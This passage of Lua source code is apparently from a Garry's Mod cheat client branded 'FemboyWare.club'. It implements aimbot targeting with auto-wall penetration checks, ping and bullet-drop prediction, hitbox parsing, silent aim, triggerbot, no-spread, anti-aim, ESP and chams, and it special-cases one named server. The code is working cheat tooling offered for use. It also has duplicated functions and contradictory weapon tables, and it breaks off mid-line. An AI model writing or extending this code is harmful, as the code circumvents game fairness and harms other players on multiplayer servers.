if playerFOV <= 0 then playerFOV = 75 end
return (ScrH() / 2) * math.tan(math.rad(config.fov / 2)) / math.tan(math.rad(playerFOV / 2))
end
local function IsInFOV(targetPos)
if not targetPos then return false end
local screenPos = targetPos:ToScreen()
if not screenPos.visible then return false end
local centerX, centerY = ScrW() / 2, ScrH() / 2
local radius = GetFOVRadius()
local dist = math.sqrt((screenPos.x - centerX)^2 + (screenPos.y - centerY)^2)
return dist <= radius
end
local function IsPenetrable(tr)
if not tr.Hit then return false end
local mat = tr.MatType
local ent = tr.Entity
if mat == MAT_GLASS or mat == MAT_PLASTIC or mat == MAT_WOOD or
mat == MAT_FLESH or mat == MAT_ALIENFLESH or mat == MAT_GRATE then
return true
end
if IsValid(ent) then
local col = ent:GetColor()
if col.a < 255 then return true end
if ent:GetNoDraw() then return true end
end
return false
end
local function IsVisible(target, overridePos)
local ply = LocalPlayer()
local startPos = ply:EyePos()
local endPos = overridePos or target:EyePos()
-- mask visible
if config.visibilityType == "Mask Visible" then
local tr = util.TraceLine({
start = startPos,
endpos = endPos,
filter = ply, -- Only filter local player, allow hitting target
mask = MASK_VISIBLE
})
return tr.Entity == target or tr.Fraction == 1
end
-- penetration / auto-wall logic
local dir = (endPos - startPos):GetNormal()
local currentStart = startPos
local penetrations = 0
local maxPenetrations = 3
while penetrations <= maxPenetrations do
local tr = util.TraceLine({
start = currentStart,
endpos = endPos,
filter = {ply, target},
mask = MASK_SHOT
})
if not tr.Hit then return true end
if IsPenetrable(tr) then
penetrations = penetrations + 1
currentStart = tr.HitPos + (dir * 8)
if currentStart:DistToSqr(startPos) >= endPos:DistToSqr(startPos) then
return true
end
else
return false
end
end
return false
end
local function GetPingCompensation()
local ply = LocalPlayer()
if not IsValid(ply) then return 0 end
local ping = 0
if ply.Ping then
local ok, res = pcall(function() return ply:Ping() end)
if ok and res and res > 0 then
ping = res
end
end
if ping == 0 then
ping = math.max(engine.TickInterval() * 1000, 50)
end
if ping == 0 or ping > 1000 then
ping = 100
end
return (ping / 1000) * 1.3
end
local weaponVelocities = {
["rust_huntingbow"] = 4000,
["rust_assaultrifle"] = 10000,
["rust_ak47"] = 8500,
["rust_lr300"] = 9000,
["rust_m39"] = 8000,
["rust_m249"] = 8500,
["rust_mp5"] = 7500,
["rust_thompson"] = 7000,
["rust_semi_auto_rifle"] = 8000,
["rust_bolt_action_rifle"] = 12000,
["rust_l96"] = 14000,
["rust_python"] = 5500,
["rust_revolver"] = 4500,
["rust_m92"] = 4000,
["rust_semi_auto_pistol"] = 3500,
["rust_shotgun"] = 3000,
["rust_pump_shotgun"] = 3200,
["rust_spas12"] = 3400,
["rust_double_barrel"] = 2800
}
local bulletDrops = {
["rust_ak47u"] = 650,
["rust_assaultrifle"] = 600,
["rust_lr300"] = 580,
["rust_m39emr"] = 620,
["rust_m249"] = 600,
["rust_mp5"] = 700,
["rust_thompson"] = 750,
["rust_smg"] = 720,
["rust_boltrifle"] = 500,
["rust_l96"] = 450,
["rust_sar"] = 620,
["rust_python"] = 800,
["rust_revolver"] = 900,
["rust_m92"] = 950,
["rust_sap"] = 1000,
["rust_doublebarrel"] = 1150,
["rust_spas12"] = 1000,
["rust_sawnoffshotgun"] = 1200,
["rust_waterpipe"] = 1300,
["rust_eoka"] = 1400,
["rust_nailgun"] = 1100,
["rust_huntingbow"] = 1200,
["rust_ak47"] = 650,
["rust_m39"] = 620,
["rust_semi_auto_rifle"] = 620,
["rust_bolt_action_rifle"] = 500,
["rust_semi_auto_pistol"] = 1000,
["rust_shotgun"] = 1100,
["rust_pump_shotgun"] = 1050,
["rust_double_barrel"] = 1150
}
local function ShouldTargetCN(target)
if not config.goodLittleBoy then return true end -- good boy
local ply = LocalPlayer()
local myTeam = team.GetName(ply:Team())
local targetTeam = team.GetName(target:Team())
-- always ignore scp (dont need to fight/target them)
if string.match(targetTeam, "^SCP") then return false end
local isMeClassD = string.find(myTeam, "Class D")
local isTargetClassD = string.find(targetTeam, "Class D")
if myTeam == "Security Cadet" then
return isTargetClassD -- target only d class as cadet
end
if isMeClassD then
if isTargetClassD then return false end -- if d class, ignore all d class
return true
end
return true -- target all if not listed
end
local function GetBulletDrop(weapon)
local weaponClass = weapon:GetClass()
local bulletDrops = {
["rust_huntingbow"] = 1200,
["rust_assaultrifle"] = 600
}
return bulletDrops[weaponClass] or nil
end
local function GetPingCompensation()
local localPlayer = LocalPlayer()
if not IsValid(localPlayer) then return 0 end
local ping = 0
if localPlayer.Ping then
local success, result = pcall(function() return localPlayer:Ping() end)
if success and result and result > 0 then
ping = result
end
end
if ping == 0 then
ping = math.max(engine.TickInterval() * 1000, 50)
end
if ping == 0 or ping > 1000 then
ping = 100
end
local pingSeconds = ping / 1000
local compensationMultiplier = 1.3
return pingSeconds * compensationMultiplier
end
local function CalculatePredictedPosition(aimPos, targetVelocity, shootPos, bulletVelocity, bulletDrop)
if not bulletVelocity or not bulletDrop then
return nil, nil, nil
end
local distance = aimPos:Distance(shootPos)
local travelTime = distance / bulletVelocity
local pingCompensation = GetPingCompensation()
local timeToHit = travelTime + pingCompensation
local horizontalPrediction = targetVelocity * timeToHit
local predictedHorizontal = aimPos + horizontalPrediction
local dropAmount = 0
if distance > 300 then
local dropMultiplier = (bulletDrop == 1200) and 0.1 or 0.05
dropAmount = dropMultiplier * travelTime * travelTime * distance / 1000
end
local predictedPos = Vector(predictedHorizontal.x, predictedHorizontal.y, predictedHorizontal.z + dropAmount)
return predictedPos, timeToHit, dropAmount
end
local function PredictTarget(pos, trg)
if not pos then return pos end
local ply = LocalPlayer()
local lvel, tvel = ply:GetAbsVelocity(), trg:GetAbsVelocity()
local frm, eng = FrameTime(), engine.TickInterval()
local pType = config.predictionType
if pType == 'Velocity' then
return pos + ((lvel - tvel) * (frm / (1 / eng)))
elseif pType == 'Classic' then
return pos - (lvel * eng)
elseif pType == 'Ping' then
local latency = ply:Ping() / 1000
return pos + (lvel * eng) * latency
elseif pType == 'Engine' then
local tvel_vec = (tvel == Vector(0,0,0)) and Vector(0,0,0) or (tvel * eng * frm)
return pos + tvel_vec - (lvel * eng)
elseif pType == 'GTick' then
return pos + (((tvel * frm / 25) - (tvel * frm / 66)) - ((lvel * frm / 25) + (lvel * frm / 66)))
elseif pType == 'GRust' then
local weapon = ply:GetActiveWeapon()
if not IsValid(weapon) then return pos end
local weaponClass = weapon:GetClass()
local bulletVelocity = nil
local useBowPrediction = false
if weaponClass == "rust_huntingbow" then
bulletVelocity = 4000
useBowPrediction = true
elseif weaponClass == "rust_assaultrifle" then
bulletVelocity = 10000
elseif weaponClass == "rust_nailgun" then
bulletVelocity = 2500
elseif weaponClass == "rust_sar" then
bulletVelocity = 7500
elseif weaponClass == "rust_mp5" then
bulletVelocity = 5000
elseif weaponClass == "rust_smg" then
bulletVelocity = 5000
elseif weaponClass == "rust_boltrifle" then
bulletVelocity = 10000
elseif weaponClass == "rust_crossbow" then
bulletVelocity = 5000
elseif weaponClass == "rust_lr300" then
bulletVelocity = 5000
elseif weaponClass == "rust_m39" then
bulletVelocity = 5000
elseif weaponClass == "rust_m249" then
bulletVelocity = 5000
elseif weaponClass == "rust_thompson" then
bulletVelocity = 5000
end
local bulletDrop = useBowPrediction and GetBulletDrop(weapon) or nil
if useBowPrediction and bulletDrop then
local predictedPos, _, _ = CalculatePredictedPosition(pos, tvel, ply:GetShootPos(), bulletVelocity, bulletDrop)
if predictedPos then
return predictedPos
end
elseif bulletVelocity then
return pos + tvel * (pos:Distance(ply:GetShootPos()) / bulletVelocity)
end
return pos
end
return pos
end
--------------------------------------------------------------------------------
-- hitbox manager
--------------------------------------------------------------------------------
HitboxManager = {
tModelCache = {}
}
function HitboxManager:GenerateModelData(strModelPath)
strModelPath = strModelPath or "models/error.mdl"
if self.tModelCache[strModelPath] then
return self.tModelCache[strModelPath]
end
local fileStream = file.Open(strModelPath, "rb", "GAME")
if not fileStream then
self.tModelCache[strModelPath] = nil
return nil
end
local strHeaderID = fileStream:Read(4)
if strHeaderID ~= "IDST" then
fileStream:Close()
self.tModelCache[strModelPath] = nil
return nil
end
MsgC(Color(255, 255, 255), "Loading new model: ", Color(100, 150, 220), strModelPath, "\n")
local tModelData = {}
tModelData.iVersion = fileStream:ReadLong()
tModelData.iChecksum = fileStream:ReadLong()
fileStream:Read(64)
tModelData.iDataLength = fileStream:ReadLong()
fileStream:Read(12)
fileStream:Read(12)
fileStream:Read(12)
fileStream:Read(12)
fileStream:Read(12)
fileStream:Read(12)
tModelData.iFlags = fileStream:ReadLong()
tModelData.iBoneCount = fileStream:ReadLong()
tModelData.iBoneOffset = fileStream:ReadLong()
tModelData.iBoneControllerCount = fileStream:ReadLong()
tModelData.iBoneControllerOffset = fileStream:ReadLong()
tModelData.iHitboxCount = fileStream:ReadLong()
tModelData.iHitboxOffset = fileStream:ReadLong()
fileStream:Seek(tModelData.iHitboxOffset)
tModelData.iNameIndex = fileStream:ReadLong()
tModelData.iHitboxSetCount = fileStream:ReadLong()
tModelData.iHitboxIndex = fileStream:ReadLong()
fileStream:Seek(tModelData.iHitboxOffset + tModelData.iHitboxIndex)
tModelData.tHitboxes = {}
for i = 1, tModelData.iHitboxSetCount do
local tHitbox = {}
tHitbox.iBone = fileStream:ReadLong()
tHitbox.iHitgroup = fileStream:ReadLong()
tHitbox.vMins = Vector(fileStream:ReadFloat(), fileStream:ReadFloat(), fileStream:ReadFloat())
tHitbox.vMaxs = Vector(fileStream:ReadFloat(), fileStream:ReadFloat(), fileStream:ReadFloat())
tHitbox.vCenter = (tHitbox.vMins + tHitbox.vMaxs) / 2
tHitbox.iNameIndex = fileStream:ReadLong()
fileStream:Read(32)
table.insert(tModelData.tHitboxes, tHitbox)
end
fileStream:Close()
self.tModelCache[strModelPath] = tModelData
return tModelData
end
local nativeHitboxLayoutCache = {}
function HitboxManager:BuildNativeHitboxData(pEntity)
local model = pEntity:GetModel()
local layout = nativeHitboxLayoutCache[model]
if not layout then
if not pEntity.GetHitboxCount then return nil end
local hitboxSet = 0
local count = pEntity:GetHitboxCount(hitboxSet)
if not count or count == 0 then
nativeHitboxLayoutCache[model] = false
return nil
end
layout = {}
for i = 0, count - 1 do
local boneID = pEntity:GetHitboxBone(i, hitboxSet)
local hitgroup = pEntity:GetHitboxGroup(i, hitboxSet)
local vMins, vMaxs = pEntity:GetHitBox(i, hitboxSet)
if boneID and hitgroup and vMins and vMaxs then
table.insert(layout, {
iBone = boneID,
iHitgroup = hitgroup,
vMins = vMins,
vMaxs = vMaxs,
vCenter = (vMins + vMaxs) / 2
})
end
end
nativeHitboxLayoutCache[model] = layout
end
if layout == false or #layout == 0 then return nil end
pEntity:SetupBones()
local tHitboxGroups = {
[HITGROUP_HEAD] = {},
[HITGROUP_CHEST] = {},
[HITGROUP_STOMACH] = {},
[HITGROUP_LEFTARM] = {},
[HITGROUP_RIGHTARM] = {},
[HITGROUP_LEFTLEG] = {},
[HITGROUP_RIGHTLEG] = {},
[HITGROUP_GEAR] = {}
}
for _, entry in ipairs(layout) do
local mMatrix = pEntity:GetBoneMatrix(entry.iBone)
if not mMatrix then continue end
local angRotation = mMatrix:GetAngles()
local vPosition = mMatrix:GetTranslation()
local vCenter = Vector(entry.vCenter)
vCenter:Rotate(angRotation)
local tProcessedHitbox = {
vPosition = vPosition + vCenter,
angRotation = angRotation,
mMatrix = mMatrix,
vMins = entry.vMins,
vMaxs = entry.vMaxs,
iHitgroup = entry.iHitgroup,
iBone = entry.iBone
}
if tHitboxGroups[entry.iHitgroup] then
table.insert(tHitboxGroups[entry.iHitgroup], tProcessedHitbox)
end
end
return tHitboxGroups
end
function HitboxManager:GetHitboxData(pEntity)
if not IsValid(pEntity) then return nil end
local tModelData = self:GenerateModelData(pEntity:GetModel())
if tModelData and tModelData.tHitboxes and #tModelData.tHitboxes > 0 then
pEntity:SetupBones()
local tHitboxGroups = {
[HITGROUP_HEAD] = {},
[HITGROUP_CHEST] = {},
[HITGROUP_STOMACH] = {},
[HITGROUP_LEFTARM] = {},
[HITGROUP_RIGHTARM] = {},
[HITGROUP_LEFTLEG] = {},
[HITGROUP_RIGHTLEG] = {},
[HITGROUP_GEAR] = {}
}
local anyValid = false
for i = 1, #tModelData.tHitboxes do
local tHitbox = tModelData.tHitboxes[i]
if not tHitbox then continue end
local mMatrix = pEntity:GetBoneMatrix(tHitbox.iBone)
if not mMatrix then continue end
local vPosition, angRotation = mMatrix:GetTranslation(), mMatrix:GetAngles()
local vCenter = Vector(tHitbox.vCenter)
vCenter:Rotate(angRotation)
local tProcessedHitbox = {
vPosition = vPosition + vCenter,
angRotation = angRotation,
mMatrix = mMatrix,
vMins = tHitbox.vMins,
vMaxs = tHitbox.vMaxs,
iHitgroup = tHitbox.iHitgroup,
iBone = tHitbox.iBone
}
if tHitboxGroups[tHitbox.iHitgroup] then
table.insert(tHitboxGroups[tHitbox.iHitgroup], tProcessedHitbox)
anyValid = true
end
end
if anyValid then return tHitboxGroups end
end
return self:BuildNativeHitboxData(pEntity)
end
--------------------------------------------------------------------------------
-- REPLACEMENT AIM LOGIC (Hitbox based)
--------------------------------------------------------------------------------
local function GetAimPosition(target)
local sel = config.aimBoneSelection
if config.forceBoneHP and config.forceBoneHP > 0 and target:Health() <= config.forceBoneHP then
sel = {"Head", "Body", "Penis", "Arms", "Legs"}
end
-- Map selection strings to Hitgroups
local groupsToCheck = {}
if table_contains(sel, "Head") then
table.insert(groupsToCheck, HITGROUP_HEAD)
end
if table_contains(sel, "Body") then
table.insert(groupsToCheck, HITGROUP_CHEST)
table.insert(groupsToCheck, HITGROUP_STOMACH)
end
if table_contains(sel, "Penis") then
table.insert(groupsToCheck, HITGROUP_STOMACH)
end
if table_contains(sel, "Arms") then
table.insert(groupsToCheck, HITGROUP_LEFTARM)
table.insert(groupsToCheck, HITGROUP_RIGHTARM)
end
if table_contains(sel, "Legs") then
table.insert(groupsToCheck, HITGROUP_LEFTLEG)
table.insert(groupsToCheck, HITGROUP_RIGHTLEG)
end
-- Default to head if nothing selected
if #groupsToCheck == 0 then table.insert(groupsToCheck, HITGROUP_HEAD) end
local hitboxes = HitboxManager:GetHitboxData(target)
if not hitboxes then
local boneFallbackMap = {
[HITGROUP_HEAD] = { "ValveBiped.Bip01_Head1" },
[HITGROUP_CHEST] = { "ValveBiped.Bip01_Spine4", "ValveBiped.Bip01_Spine2", "ValveBiped.Bip01_Spine1" },
[HITGROUP_STOMACH] = { "ValveBiped.Bip01_Spine", "ValveBiped.Bip01_Pelvis" },
[HITGROUP_LEFTARM] = { "ValveBiped.Bip01_L_UpperArm", "ValveBiped.Bip01_L_Forearm" },
[HITGROUP_RIGHTARM] = { "ValveBiped.Bip01_R_UpperArm", "ValveBiped.Bip01_R_Forearm" },
[HITGROUP_LEFTLEG] = { "ValveBiped.Bip01_L_Thigh", "ValveBiped.Bip01_L_Calf" },
[HITGROUP_RIGHTLEG] = { "ValveBiped.Bip01_R_Thigh", "ValveBiped.Bip01_R_Calf" },
}
for _, group in ipairs(groupsToCheck) do
local boneNames = boneFallbackMap[group]
if boneNames then
for _, boneName in ipairs(boneNames) do
local boneID = target:LookupBone(boneName)
if boneID then
local matrix = target:GetBoneMatrix(boneID)
if matrix then
local bonePos = matrix:GetTranslation()
if IsVisible(target, bonePos) then
return bonePos, boneID
end
end
end
end
end
end
return nil, nil
end
local bestPos = nil
local bestBoneID = nil
local bestScore = -math.huge
local ply = LocalPlayer()
local plyPos = ply:EyePos()
local fovRadius = GetFOVRadius()
local centerX, centerY = ScrW()/2, ScrH()/2
for _, group in ipairs(groupsToCheck) do
local groupBoxes = hitboxes[group]
if not groupBoxes then continue end
for _, hitbox in ipairs(groupBoxes) do
local hPos = hitbox.vPosition
if not hPos then continue end
-- Visibility Check (using existing IsVisible with penetration)
if IsVisible(target, hPos) then
local scrPos = hPos:ToScreen()
if scrPos.visible then
local scrDist = math.sqrt((scrPos.x - centerX)^2 + (scrPos.y - centerY)^2)
local worldDist = plyPos:Distance(hPos)
-- Same scoring system as before
local score = (1000 / math.max(worldDist, 1)) * (fovRadius / math.max(scrDist, 1))
if score > bestScore then
bestScore = score
bestPos = hPos
bestBoneID = hitbox.iBone -- Return the bone this hitbox is attached to
end
end
end
end
end
if not bestPos then
return nil, nil
end
if target:Crouching() or target:GetVelocity():Length() > 50 then
bestPos = bestPos + Vector(0, 0, 0)
end
if config.extrapolate then
local latency = LocalPlayer():Ping() / 1000
local ticks = math.floor(latency / engine.TickInterval())
local vel = target:GetVelocity()
local pos = bestPos
for i = 1, ticks do pos = pos + vel * engine.TickInterval() end
bestPos = pos
end
if config.aimPrediction then
bestPos = PredictTarget(bestPos, target)
end
return bestPos, bestBoneID
end
local function UpdateNightMode()
if config.nightmode then
local worldMaterials = Entity(0):GetMaterials()
for _, matPath in pairs(worldMaterials) do
local mat = Material(matPath)
if not mat or mat:IsError() then continue end
if config.disable_sky and (string.find(string.lower(matPath), "skybox") or string.find(string.lower(matPath), "sky")) then
mat:SetVector("$color", Vector(0, 0, 0))
else
mat:SetVector("$color", Vector(config.nightmode_scale, config.nightmode_scale, config.nightmode_scale))
end
end
for _, prop in ipairs(ents.FindByClass("prop_physics")) do
if IsValid(prop) then
local pCol = 255 * config.nightmode_scale
prop:SetColor(Color(pCol, pCol, pCol, 255))
end
end
else
local worldMaterials = Entity(0):GetMaterials()
for _, matPath in pairs(worldMaterials) do
local mat = Material(matPath)
if mat then
mat:SetVector("$color", Vector(1, 1, 1))
end
end
for _, prop in ipairs(ents.FindByClass("prop_physics")) do
if IsValid(prop) then
prop:SetColor(Color(255, 255, 255, 255))
prop:SetRenderMode(0)
end
end
end
end
--------------------------------------------------------------------------------
InitMenu = function()
-- Reset bakedX to prevent offset accumulation on re-init
GUI.lastBakedX = PADDING + TextSize("FemboyWare.club ", "KirkTab") + 2
-- Aimbot Tab
local AimbotTab = Tab("aimbot")
local AimGen = AimbotTab:Group("General", "left")
AimGen:Dropdown("Method", {"Silent", "Camera"}, config.aimMethod, function(v)
config.aimMethod = v
end)
AimGen:Multiselect("Bone Selection", {"Head", "Body", "Penis", "Arms", "Legs"}, config.aimBoneSelection, function(v)
config.aimBoneSelection = v
end)
AimGen:Slider("Force Bone HP", 0, 100, config.forceBoneHP or 0, 1, function(v)
config.forceBoneHP = v
end)
AimGen:Slider("Smoothing", 0, 40, config.aimSmoothingVal, 1, function(v)
config.aimSmoothingVal = v
end)
AimGen:Toggle("Chronon Evader", config.chrononEvader, function(v)
config.chrononEvader = v
end)
AimGen:Toggle("Autofire", config.autofire, function(v)
config.autofire = v
end, nil, "autofire")
AimGen:Toggle("Auto Reload", config.autoReload, function(v)
config.autoReload = v
end)
AimGen:Toggle("Triggerbot", config.triggerbot, function(v)
config.triggerbot = v
end, nil, "triggerbot")
AimGen:Slider("FOV", 1, 180, config.fov, 1, function(v)
config.fov = v
end)
AimGen:Multiselect("Ignore", {"Invisible", "Sitting", "Noclipped", "Godmode", "Builder", "Same Team"}, config.aimIgnore, function(v)
config.aimIgnore = v
end)
AimGen:Dropdown("Vis Check", {"Mask Visible (broken)", "Penetration/Auto-Wall"}, config.visibilityType, function(v)
config.visibilityType = v
end)
AimGen:Toggle("No Visual Punch", config.noVisualRecoil, function(v)
config.noVisualRecoil = v
end)
AimGen:Toggle("No Spread", config.noSpread, function(v)
config.noSpread = v
end)
AimGen:Separator("Anti-Aim")
if string.find(GetHostName(), "Civil Networks") then
AimGen:Toggle("Good Little Boy (smart team ignore CN)", config.goodLittleBoy, function(v)
config.goodLittleBoy = v
end)
end
AimGen:Toggle("Enable Anti-Aim", config.antiAim, function(v)
config.antiAim = v
end)
AimGen:Dropdown("AA Pitch", {"None", "Down", "Up", "Jitter"}, config.antiAimPitch, function(v)
config.antiAimPitch = v
end)
AimGen:Dropdown("AA Yaw", {"Static", "Backwards", "Spin", "Jitter", "Sideways"}, config.antiAimYaw, function(v)
config.antiAimYaw = v
end)
AimGen:Slider("Spin Speed", 1, 100, config.antiAimSpeed, 1, function(v)
config.antiAimSpeed = v
end)
local Adv = AimbotTab:Group("Advanced", "right")
Adv:Toggle("Extrapolate", config.extrapolate, function(v)
config.extrapolate = v
end)
Adv:Dropdown("Prediction", {"None", "Velocity", "Classic", "Ping", "Engine", "GTick", "GRust"},
config.aimPrediction and config.predictionType or "None",
function(v)
if v == "None" then
config.aimPrediction = false
else
config.aimPrediction = true
config.predictionType = v
end
end
)
Adv:Toggle("Bullet Drop Prediction", config.grustBulletDrop, function(v)
config.grustBulletDrop = v
end)
Adv:Dropdown("Animation Prediction", {"None", "Default", "Server Predicted"},
config.enableAnimPrediction and (config.animPredictionMode == 0 and "Default" or "Server Predicted") or "None",
function(v)
if v == "None" then
config.enableAnimPrediction = false
else
config.enableAnimPrediction = true
config.animPredictionMode = v == "Default" and 0 or 1
end
end
)
Adv:Dropdown("Movement Fix", {"None", "Legit", "Rage"}, config.movementFixMode, function(v)
config.movementFixMode = v
end)
local Weap = AimbotTab:Group("Weapon", "right")
Weap:Toggle("Disable Interp", config.disableInterp, function(v)
config.disableInterp = v
end)
-- ESP Tab
local ESPTab = Tab("esp")
local EspMain = ESPTab:Group("Main", "left")
EspMain:Toggle("Show ESP", config.showESP, function(v)
config.showESP = v
end)
EspMain:Toggle("Visible Only (WIP)", config.espVisibleOnly, function(v)
config.espVisibleOnly = v
end)
EspMain:Multiselect("Hide on Flags", {"Invisible", "Sitting", "Noclipped", "Godmode", "Builder", "Same Team"}, config.espHideOnFlags, function(v)
config.espHideOnFlags = v
end)
EspMain:Slider("ESP Distance", 0, 10000, config.espDistance, 50, function(v)
config.espDistance = v
end)
EspMain:Toggle("Ignore Dormant", config.ignoreDormant, function(v)
config.ignoreDormant = v
end)
EspMain:Toggle("Extrapolate Debug", config.extrapolateDebug, function(v)
config.extrapolateDebug = v
end)
EspMain:Toggle("2D Box", config.espBox, function(v)
config.espBox = v
end, "espBox"):ColorPicker(config.espBoxColor, function(c) config.espBoxColor = c end)
EspMain:Toggle("3D Box", config.espBox3D, function(v)
config.espBox3D = v
end, "espBox"):ColorPicker(config.espBox3DColor, function(c) config.espBox3DColor = c end)
EspMain:Multiselect("Flags", {"Invisible", "Sitting", "Noclipped", "Godmode", "Builder", "Same Team"}, config.espFlagsSelected, function(v)
config.espFlagsSelected = v
end)
EspMain:Toggle("Weapon", config.espWeapon, function(v)
config.espWeapon = v
end, "espWeapon"):ColorPicker(config.espWeaponColor, function(c) config.espWeaponColor = c end)
EspMain:Toggle("Name", config.espName, function(v)
config.espName = v
end, "espName"):ColorPicker(config.espNameColor, function(c) config.espNameColor = c end)
EspMain:Toggle("Skeleton", config.espSkeleton, function(v)
config.espSkeleton = v
end, "espSkeleton"):ColorPicker(config.espSkeletonColor, function(c) config.espSkeletonColor = c end)
EspMain:Toggle("Usergroup", config.espUsergroup, function(v)
config.espUsergroup = v
end, "espUsergroup")
EspMain:Toggle("Team", config.espTeam, function(v)
config.espTeam = v
end)
local validHealthViews = {["Health Bar"]=true,["Health Number"]=true,["Health Name Color"]=true,["Armour Bar"]=true,["Armour Number"]=true}
local sanitizedHealthSel = {}
for _, v in ipairs(config.espHealthSelection or {}) do
if validHealthViews[v] then sanitizedHealthSel[#sanitizedHealthSel + 1] = v end
end
if #sanitizedHealthSel == 0 then sanitizedHealthSel = {"Health Number"} end
config.espHealthSelection = sanitizedHealthSel
EspMain:Multiselect("Health Views", {"Health Bar", "Health Number", "Health Name Color", "Armour Bar", "Armour Number"}, config.espHealthSelection, function(v)
config.espHealthSelection = v
end)
EspMain:Toggle("Show FOV", config.showFOV, function(v)
config.showFOV = v
end, "fov")
EspMain:Toggle("Aim line", config.aimLine, function(v)
config.aimLine = v
end, "aimLine")
EspMain:Toggle("Bullet Tracers", config.bulletTracers, function(v)
config.bulletTracers = v
end, "bulletTracers")
EspMain:Toggle("Item Viewer", config.espItemViewer, function(v)
config.espItemViewer = v
end)
EspMain:Toggle("Velocity Viewer", config.espVelocityViewer, function(v)
config.espVelocityViewer = v
end)
EspMain:Toggle("Entity ESP", config.espEntity, function(v)
config.espEntity = v
end, "espEntity"):ColorPicker(config.colors.espEntity, function(c) config.colors.espEntity = c end)
EspMain:Separator("Nightmode Settings")
EspMain:Toggle("Enable Nightmode", config.nightmode, function(v)
config.nightmode = v
UpdateNightMode()
end)
EspMain:Toggle("Black Sky", config.disable_sky, function(v)
config.disable_sky = v
UpdateNightMode()
end)
EspMain:Slider("Nightmode Darkness", 0, 100, (config.nightmode_scale or 0.3) * 100, 1, function(v)
config.nightmode_scale = v / 100
UpdateNightMode()
end)
local ChamMain = ESPTab:Group("Chams General", "right")
ChamMain:Toggle("Enable Chams", config.chams.enabled, function(v) config.chams.enabled = v end)
ChamMain:Toggle("Player Chams", config.chams.player, function(v) config.chams.player = v end)
ChamMain:Toggle("Playermodel Chams", config.chams.playermodel, function(v) config.chams.playermodel = v end)
ChamMain:Toggle("Player Invisible Chams", config.chams.visibleCheck, function(v) config.chams.visibleCheck = v end)
ChamMain:Toggle("Ignore Arms", config.chams.ignoreArms, function(v) config.chams.ignoreArms = v end)
local ChamMats = ESPTab:Group("Chams Materials", "right")
local mats = { "Flat", "Metallic", "Glow", "Glowframe", "Fireframe", "Islandwater", "Islandframe", "Wireframe", "Auraframe" }
ChamMats:Dropdown("Player Material", mats, mats[config.chams.playerMaterial], function(v)
for i, mat in ipairs(mats) do if mat == v then config.chams.playerMaterial = i break end end
end)
ChamMats:Dropdown("Playermodel Material", mats, mats[config.chams.playermodelMaterial], function(v)
for i, mat in ipairs(mats) do if mat == v then config.chams.playermodelMaterial = i break end end
end)
local ChamColors = ESPTab:Group("Chams Colors", "right")
ChamColors:Toggle("Player Visible", config.chams.visibleCheck, function(v) config.chams.visibleCheck = v end, "playerVisible"):ColorPicker(config.chams.colors.playerVisible, function(v) config.chams.colors.playerVisible = v end)
ChamColors:Toggle("Player Invisible", config.chams.visibleCheck, function(v) end, "playerInvisible"):ColorPicker(config.chams.colors.playerInvisible, function(v) config.chams.colors.playerInvisible = v end)
ChamColors:Toggle("Playermodel", config.chams.playermodel, function(v) config.chams.playermodel = v end, "playermodel"):ColorPicker(config.chams.colors.playermodel, function(v) config.chams.colors.playermodel = v end)
local ChamHands = ESPTab:Group("Custom Hands", "right")
ChamHands:Toggle("Custom Handmodel", config.chams.customHands, function(v)
config.chams.customHands = v
end)
ChamHands:Button("Change Model Path", function()
Derma_StringRequest("Custom Hands", "Enter the model path:", config.chams.customHandsModel, function(txt)
config.chams.customHandsModel = txt
end)
end)
-- =================================================================
local AtmosGroup = ESPTab:Group("Atmosphere Settings", "right")
AtmosGroup:Toggle("Fog Modulation", config.visuals_fog_modulation, function(v)
config.visuals_fog_modulation = v
end):ColorPicker(config.visuals_fog_color, function(v)
config.visuals_fog_color = v
end)
AtmosGroup:Slider("Fog Start", 0, 5000, config.visuals_fog_start or 0, 1, function(v)
config.visuals_fog_start = v
end)
AtmosGroup:Slider("Fog End", 0, 10000, config.visuals_fog_end or 5000, 1, function(v)
config.visuals_fog_end = v
end)
AtmosGroup:Slider("Fog Density", 0, 100, (config.visuals_fog_density or 1.0) * 100, 1, function(v)
config.visuals_fog_density = v / 100
end)
AtmosGroup:Separator("Bloom Settings")
AtmosGroup:Toggle("Bloomscale Enable", config.visuals_bloomscale_enable, function(v)
config.visuals_bloomscale_enable = v
end)
AtmosGroup:Slider("Bloomscale Value", 0, 1000, (config.visuals_bloomscale_value or 1.0) * 100, 1, function(v)
config.visuals_bloomscale_value = v / 100
end)
config.watermarkX = config.watermarkX or 10
config.watermarkY = config.watermarkY or 10
config.watermarkAlpha = config.watermarkAlpha or 255
local function RefreshWatermark()
if config.showWatermark and type(CreateWatermark) == "function" then
CreateWatermark()
end
if IsValid(watermarkHTMLPanel) then
local w, h = watermarkHTMLPanel:GetSize()
config.watermarkX = math.Clamp(config.watermarkX, 0, ScrW() - w)
config.watermarkY = math.Clamp(config.watermarkY, 0, ScrH() - h)
watermarkHTMLPanel:SetPos(config.watermarkX, config.watermarkY)
watermarkHTMLPanel:SetAlpha(255)
if watermarkHTMLPanel.Call then
watermarkHTMLPanel:Call("document.body.style.opacity = " .. (config.watermarkAlpha / 255) .. "; var imgs = document.getElementsByTagName('img'); for(var i=0; i 1 then
local randIndex = math.random(1, #musicOrder)
if randIndex == currentIndex then
randIndex = (randIndex % #musicOrder) + 1
end
nextTrack = musicOrder[randIndex]
else
nextTrack = musicOrder[1]
end
else
local nextIndex = currentIndex + 1
if nextIndex > #musicOrder then
nextIndex = 1
end
nextTrack = musicOrder[nextIndex]
end
config.musicTrackMode = nextTrack
local url = (nextTrack == "Custom") and config.musicCustomURL or musicTracks[nextTrack]
if url and url != "" then
PlayCheatMusic(url)
sNotify:Notify("FemboyWare", "Playing next: " .. nextTrack, 3)
end
end
timer.Create("FemboyWare_Music_Monitor", 0.5, 0, function()
if config.musicTrackMode == "Off" then return end
if IsValid(state.currentStation) then
if state.currentStation:GetState() == 0 and state.musicLoadID == state.musicActiveID then
PlayNextTrack()
end
end
end)
MiscVM:Dropdown("Music Player", {"Off", "Rubi", "Phonk Theme", "Chill Beat", "Best Cheat", "FrshmkHvH", "Rubi_Music", "Aphex Twin - Pulsewidth", "FemboyFM :3", "Luude - Down Under (feat. Colin Hay)", "Custom"}, config.musicTrackMode, function(v)
config.musicTrackMode = v
if v == "Off" then
state.musicLoadID = state.musicLoadID + 1
if IsValid(state.currentStation) then
state.currentStation:Stop()
end
sNotify:Notify("FemboyWare", "Music playback stopped", 3)
elseif v == "Custom" then
Derma_StringRequest(
"Custom Music URL",
"Enter a direct audio link (e.g. https://domain.com/music.mp3):",
config.musicCustomURL or "",
function(text)
